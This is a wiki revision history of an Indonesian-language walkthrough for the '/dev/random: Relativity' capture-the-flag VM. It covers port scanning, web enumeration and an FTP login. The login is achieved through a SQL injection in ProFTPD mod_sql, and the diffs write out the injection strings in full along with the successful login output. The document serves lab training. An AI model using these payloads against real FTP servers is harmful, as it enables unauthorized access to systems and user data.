CTF /dev/random: Walkthrough - Revision history

Unknown user: /* Cek FTP server */

2023-01-28T06:53:11Z

Cek FTP server

← Older revision		Revision as of 06:53, 28 January 2023
Line 185:		Line 185:
	ftp>		ftp>

			STUCK :( ..

	Entah kenapa "dir" tidak bisa?		ftp> dir
			227 Entering Passive Mode (192,168,0,137,213,119).

			Entah kenapa "dir" tidak bisa? Harusnya seperti di bawah ini :( ..

Unknown user at 06:50, 28 January 2023

2023-01-28T06:50:59Z

← Older revision		Revision as of 06:50, 28 January 2023
Line 24:		Line 24:
	-----------------------------------------------------------------------------		-----------------------------------------------------------------------------
	.....		.....
	192.168.0.~~133~~ 08:00:27:1c:07:4b 1 60 PCS Systemtechnik GmbH		192.168.0.137 08:00:27:6b:27:d0 1 60 PCS Systemtechnik GmbH
	.....		.....

	Yang mencurigakan 08:00:x:x:x		Yang mencurigakan 08:00:x:x:x

	192.168.0.~~133~~		192.168.0.137


Line 36:		Line 36:
	Lakukan,		Lakukan,

	nmap -A -p1-65535 192.168.0.~~133~~		nmap -A -p1-65535 192.168.0.137

	Hasilnya,		Hasilnya,

	Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-27 21:18 EST		Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-27 21:18 EST
	Nmap scan report for 192.168.0.~~133~~		Nmap scan report for 192.168.0.137
	Host is up (0.00058s latency).		Host is up (0.00058s latency).
	Not shown: 65532 filtered tcp ports (no-response)		Not shown: 65532 filtered tcp ports (no-response)
Line 64:		Line 64:
	TRACEROUTE		TRACEROUTE
	HOP RTT ADDRESS		HOP RTT ADDRESS
	1 0.58 ms 192.168.0.~~133~~		1 0.58 ms 192.168.0.137

	OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .		OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Line 78:		Line 78:
	Dengan		Dengan

	nikto -h 192.168.0.~~133~~		nikto -h 192.168.0.137

	Hasilnya,		Hasilnya,
Line 84:		Line 84:
	- Nikto v2.1.6		- Nikto v2.1.6
	---------------------------------------------------------------------------		---------------------------------------------------------------------------
	+ Target IP: 192.168.0.~~133~~		+ Target IP: 192.168.0.137
	+ Target Hostname: 192.168.0.~~133~~		+ Target Hostname: 192.168.0.137
	+ Target Port: 80		+ Target Port: 80
	+ Start Time: 2023-01-27 21:19:12 (GMT-5)		+ Start Time: 2023-01-27 21:19:12 (GMT-5)
Line 106:		Line 106:
	Coba,		Coba,

	# dirb http://192.168.0.62		# dirb http://192.168.0.137

	Hasilnya,		Hasilnya,
Line 116:		Line 116:

	START_TIME: Fri Jan 27 21:20:33 2023		START_TIME: Fri Jan 27 21:20:33 2023
	URL_BASE: http://192.168.0.62/		URL_BASE: http://192.168.0.137/
	WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt		WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

Line 123:		Line 123:
	GENERATED WORDS: 4612		GENERATED WORDS: 4612

	---- Scanning URL: http://192.168.0.62/ ----		---- Scanning URL: http://192.168.0.137/ ----

	(!) FATAL: Too many errors connecting to host		(!) FATAL: Too many errors connecting to host
Line 138:		Line 138:
	Cek anonymous ftp		Cek anonymous ftp

	ftp 192.168.0.~~133~~		ftp 192.168.0.137

	Hasil,		Hasil,

	ftp 192.168.0.~~133~~		ftp 192.168.0.137
	Connected to 192.168.0.~~133~~.		Connected to 192.168.0.137.
	220 Welcome to Relativity FTP (mod_sql)		220 Welcome to Relativity FTP (mod_sql)
	Name (192.168.0.133:kali): anonymous		Name (192.168.0.133:kali): anonymous
Line 168:		Line 168:
	Mari kita coba dengan password 1 (angka 1)		Mari kita coba dengan password 1 (angka 1)

	ftp 192.168.0.~~133~~		ftp 192.168.0.137
	Connected to 192.168.0.~~133~~.		Connected to 192.168.0.137.
	220 Welcome to Relativity FTP (mod_sql)		220 Welcome to Relativity FTP (mod_sql)
	Name (192.168.0.~~133~~:kali): username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; #		Name (192.168.0.137:kali): username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; #
	331 Password required for username:.		331 Password required for username:.
	Password:		Password:

Unknown user: /* Cek FTP server */

2023-01-28T02:36:32Z

Cek FTP server

@@ Line 152: / Line 152: @@
   ftp>
-Anonymous gagal, tapi ada clue FTP (mod_sql)
+Anonymous gagal!
 Googling vulnerability mod_sql di FTP
 * http://www.proftpd.org/docs/contrib/mod_sql.html
@@ Line 164: / Line 166: @@
   username: %') and 1=2 union (select <name>,1,<uid>, <gid>,0x2F,0x2F62696E2F62617368); -- a
-Mari kita coba,
+Mari kita coba dengan password 1 (angka 1)
-Welcome to Relativity FTP (mod_sql)
+ ftp> pwd
-Name (192.168.80.128:root): username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; #
+"/" is current directory.
-Password required for username:.
+ ftp> dir
-Password:
+PORT command successful
-User username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; # logged in.
+Opening ASCII mode data connection for file list
-Remote system type is UNIX.
+ drwxr-xr-x   3 root     root         4096 Mar  5  2013 0f756638e0737f4a0de1c53bf8937a08
-Using binary mode to transfer files.
+ -rw-r--r--   1 root     root       235423 Mar  5  2013 artwork.jpg
-Next, I found out an interesting looking directory:
+ -rw-r--r--   1 root     root          130 Mar  5  2013 index.html
 It seems we are in the root directory, but the html and image file hint at the web server. So I went to the website again and this time I tried to navigate to that new directory:

Unknown user at 02:24, 28 January 2023

2023-01-28T02:24:20Z

Show changes

Unknown user: /* Cek FTP server */

2023-01-27T04:27:24Z

Cek FTP server

← Older revision		Revision as of 04:27, 27 January 2023
Line 166:		Line 166:
	* https://bugtraq.securityfocus.com/archive		* https://bugtraq.securityfocus.com/archive

			Ditemukan, exploit script ftp dengan mod_sql

	~~The good news is~~, ~~there is a SQLi vulnerability in the USER command that might allow access to the server. I don’t know the version of our target server~~, ~~but let’s try it!~~		username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; --
			password: 1

	~~On http://www.securityfocus.com/bid/33722/exploit you can find some sample exploit strings~~:		username: %') and 1=2 union (select <name>,1,<uid>, <gid>,0x2F,0x2F62696E2F62617368); -- a

	1		Mari kita coba,
	2
	3
	4
	~~username: %') and 1=2 union select 1~~,~~1,uid,gid,homedir,shell from users; --~~
	~~password: 1~~

	~~username: %') and 1=2 union (select <name>,1,<uid>,<gid>,0x2F,0x2F62696E2F62617368); -- a~~
	~~Neither worked, but I tinkered with the comment characters and found out that I could get in either by replacing the — with a #, or by inserting a space and random characters after the —:~~

	1
	2
	3
	4
	5
	6
	7
	220 Welcome to Relativity FTP (mod_sql)		220 Welcome to Relativity FTP (mod_sql)
	Name (192.168.80.128:root): username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; #		Name (192.168.80.128:root): username: %') and 1=2 union select 1,1,uid,gid,homedir,shell from users; #

Unknown user: /* Cek FTP server */

2023-01-27T04:24:45Z

Cek FTP server

← Older revision		Revision as of 04:24, 27 January 2023
Line 163:		Line 163:
	Anonymous gagal, tapi ada clue FTP (mod_sql)		Anonymous gagal, tapi ada clue FTP (mod_sql)
	Googling vulnerability mod_sql di FTP		Googling vulnerability mod_sql di FTP
			* http://www.proftpd.org/docs/contrib/mod_sql.html
	http://www.proftpd.org/docs/contrib/mod_sql.html		* https://bugtraq.securityfocus.com/archive

Unknown user: /* Cek FTP server */

2023-01-27T04:24:15Z

Cek FTP server

← Older revision		Revision as of 04:24, 27 January 2023
Line 149:		Line 149:
	ftp 192.168.0.62		ftp 192.168.0.62

	~~220 Welcome to Relativity FTP (mod_sql)~~		Hasil,
	~~I started googling~~, ~~and it turns out that “The mod_sql module is an authentication and logging module for ProFTPD”.~~

	~~Vulnerability ProFTPD dengan~~ mod_sql,		ftp 192.168.0.62
			Connected to 192.168.0.62.
			220 Welcome to Relativity FTP (mod_sql)
			Name (192.168.0.62:kali): 331 Password required for kali.
			Password:
			530 Login incorrect.
			ftp: Login failed
			ftp>


			Anonymous gagal, tapi ada clue FTP (mod_sql)
			Googling vulnerability mod_sql di FTP

	http://www.proftpd.org/docs/contrib/mod_sql.html		http://www.proftpd.org/docs/contrib/mod_sql.html

Unknown user: /* Port Scan */

2023-01-27T04:22:08Z

Port Scan

@@ Line 40: / Line 40: @@
 Hasilnya,
-The web server doesn’t seem to serve anything else than an image. I ran Nikto and Dirbuster on it but didn’t find anything. Next I hit the FTP server. No anonymous login possible, but there was something interesting in the banner:
+==Cek Web Server==
 Welcome to Relativity FTP (mod_sql)
 I started googling, and it turns out that “The mod_sql module is an authentication and logging module for ProFTPD”.

Unknown user: /* Port Scan */

2023-01-27T04:16:28Z

Port Scan

← Older revision		Revision as of 04:16, 27 January 2023
Line 46:		Line 46:
	1		1
	220 Welcome to Relativity FTP (mod_sql)		220 Welcome to Relativity FTP (mod_sql)
	I started googling, and it turns out that “The mod_sql module is an authentication and logging module for ProFTPD”. The good news is, there is a SQLi vulnerability in the USER command that might allow access to the server. I don’t know the version of our target server, but let’s try it!		I started googling, and it turns out that “The mod_sql module is an authentication and logging module for ProFTPD”.

			Vulnerability ProFTPD dengan mod_sql,

			http://www.proftpd.org/docs/contrib/mod_sql.html


			The good news is, there is a SQLi vulnerability in the USER command that might allow access to the server. I don’t know the version of our target server, but let’s try it!

	On http://www.securityfocus.com/bid/33722/exploit you can find some sample exploit strings:		On http://www.securityfocus.com/bid/33722/exploit you can find some sample exploit strings:

Unknown user: /* Port Scan */

2023-01-27T04:14:55Z

Port Scan

← Older revision		Revision as of 04:14, 27 January 2023
Line 42:		Line 42:




	~~nmap -A -p1-65535 192.168.80.128~~

	~~Starting Nmap 6.47 ( http://nmap.org ) at 2015-05-10 16:46 EEST~~
	~~Nmap scan report for 192.168.80.128~~
	~~Host is up (0.00058s latency).~~
	~~Not shown: 65532 filtered ports~~
	~~PORT STATE SERVICE VERSION~~
	~~21/tcp open ftp~~
	~~22/tcp open ssh OpenSSH 5.9 (protocol 2.0)~~
	~~\| ssh-hostkey:~~
	~~\| 1024 42:d0:50:45:6c:4f:6a:25:d9:5e:d4:7d:12:26:04:ef (DSA)~~
	~~\|_ 2048 1b:e9:72:2b:8a:0b:57:0a:4b:ad:3d:06:62:94:29:02 (RSA)~~
	~~80/tcp open http Apache httpd 2.2.23 ((Fedora))~~
	~~\|_http-title: M.C. Escher - Relativity~~
	~~1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :~~
	~~SF-Port21-TCP:V=6.47%I=7%D=5/10%Time=554F618E%P=x86_64-unknown-linux-gnu%r~~
	~~SF:(GenericLines,29,"220\x20Welcome\x20to\x20Relativity\x20FTP\x20\(mod_sq~~
	~~SF:l\)\r\n");~~
	~~MAC Address: 00:0C:29:9F:1D:0E (VMware)~~
	~~Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port~~
	~~Device type: general purpose~~
	~~Running: Linux 2.6.X\|3.X~~
	~~OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3~~
	~~OS details: Linux 2.6.32 - 3.10~~
	~~Network Distance: 1 hop~~
	~~Service Info: Host: Relativity~~
	The web server doesn’t seem to serve anything else than an image. I ran Nikto and Dirbuster on it but didn’t find anything. Next I hit the FTP server. No anonymous login possible, but there was something interesting in the banner:		The web server doesn’t seem to serve anything else than an image. I ran Nikto and Dirbuster on it but didn’t find anything. Next I hit the FTP server. No anonymous login possible, but there was something interesting in the banner: